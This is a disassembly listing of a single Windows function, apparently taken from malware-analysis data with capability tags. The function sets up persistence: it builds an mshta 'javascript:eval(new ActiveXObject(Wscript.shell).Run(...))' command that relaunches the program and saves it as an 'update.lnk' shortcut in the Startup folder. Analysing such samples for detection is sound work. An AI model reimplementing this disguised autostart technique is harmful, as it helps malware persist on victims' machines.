Function at 0x405adc
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe28
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, str.ole32.dll
push str.CoInitialize
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.CoCreateInstance
push esi
mov dword [ebp - 8], eax
call edi
push eax
call ebx
push str.GetSystemDirectoryA
push str.kernel32
mov dword [ebp - 0xc], eax
call edi
push eax
call ebx
push str.Begin_stsassrtsss
mov dword [ebp - 0x10], eax
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
xor ebx, ebx
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], bl
mov byte [ebp - 0xe28], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0xe27]
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x405b82
xor al, al
jmp 0x405e65
lea eax, [ebp - 0x114]
mov dword [ebp - 4], ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [ebp - 0x114]
test eax, eax
je 0x405beb
lea edi, [ebp - 0xe28]
lea eax, [ebp - 0x114]
push eax
call sub.MSVCRT.dll_strlen
cmp dword [ebp - 4], eax
pop ecx
jae 0x405beb
mov eax, dword [ebp - 4]
mov al, byte [ebp + eax - 0x114]
cmp al, 0x5c
mov byte [edi], al
jne 0x405be5
inc edi
mov byte [edi], 0x78
inc edi
mov byte [edi], 0x32
inc edi
mov byte [edi], 0x66
inc edi
inc dword [ebp - 4]
jmp 0x405bb7
lea eax, [ebp - 0xe28]
push 0x416224
push eax
call sub.MSVCRT.dll_strcat
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0xa27]
mov byte [ebp - 0xa28], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xa28]
push str._javascript:eval_new_ActiveXObject_Wscript.shell_.Run_
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0xe28]
push eax
lea eax, [ebp - 0xa28]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xa28]
push 0x416a10
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xa28]
push 0x416a0c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xa28]
push str._window.close___
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xa28]
push 0x4169f4
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x38
push ebx
call dword [ebp - 8]
test eax, eax
jl 0x405e5d
lea eax, [ebp - 4]
push eax
push 0x4128f4
push 1
push ebx
push 0x412904
call dword [ebp - 0xc]
test eax, eax
jl 0x405e55
lea eax, [ebp - 0x628]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
lea eax, [ebp - 0x628]
push 0x25
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x628]
push str.mshta.exe
push eax
call sub.MSVCRT.dll_strcat
mov eax, dword [ebp - 4]
pop ecx
pop ecx
lea edx, [ebp - 0x628]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x50]
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x31b]
mov byte [ebp - 0x31c], bl
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x31c]
push eax
call dword [ebp - 0x10]
lea eax, [ebp - 0x31c]
push str.SHELL32.DLL
push eax
call sub.MSVCRT.dll_strcat
mov eax, dword [ebp - 4]
pop ecx
pop ecx
lea edx, [ebp - 0x31c]
mov ecx, dword [eax]
push 0x2e
push edx
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xa28]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push 0x412914
mov ecx, dword [eax]
push eax
call dword [ecx]
push 0x40
mov edx, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x217]
mov byte [ebp - 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp edx, ebx
stosb byte es:[edi], al
jl 0x405de1
lea eax, [ebp - 0x218]
push eax
push esi
call dword [0x4195c4]
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x522]
mov word [ebp - 0x524], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x218]
push str._Slnk.tmp
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x524]
pop ecx
push esi
push eax
lea eax, [ebp - 0x218]
push 0xffffffffffffffff
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x524]
push ebx
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push str.WinExec
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405e5b
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x41f]
mov byte [ebp - 0x420], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x420]
push 7
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x420]
push str.update.lnk
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x420]
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
call dword [0x4195e4]
jmp 0x405e5b
call dword [sym.imp.ole32.dll_CoUninitialize]
mov bl, 1
call dword [sym.imp.ole32.dll_CoUninitialize]
mov al, bl
pop edi
pop esi
pop ebx
leave
ret